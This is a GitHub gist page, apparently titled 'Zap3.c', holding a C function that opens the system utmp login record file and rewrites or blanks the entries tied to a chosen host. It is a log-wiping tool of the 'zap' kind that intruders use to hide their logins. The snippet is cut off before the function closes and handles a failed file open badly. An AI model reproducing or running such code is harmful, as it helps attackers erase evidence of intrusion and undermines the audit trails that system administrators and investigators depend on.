Skip to content

Instantly share code, notes, and snippets.

@revENGR

revENGR/Zap3.c Secret

Created May 23, 2020 03:11
Show Gist options
  • Save revENGR/f88105ed21840066286258b36984ad04 to your computer and use it in GitHub Desktop.
Save revENGR/f88105ed21840066286258b36984ad04 to your computer and use it in GitHub Desktop.
void clean_utmp(char *host,char *fake)
{
int f;
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof( utmp_ent ));
}
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
printf("\tcleaning utmp file finished\n\t");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment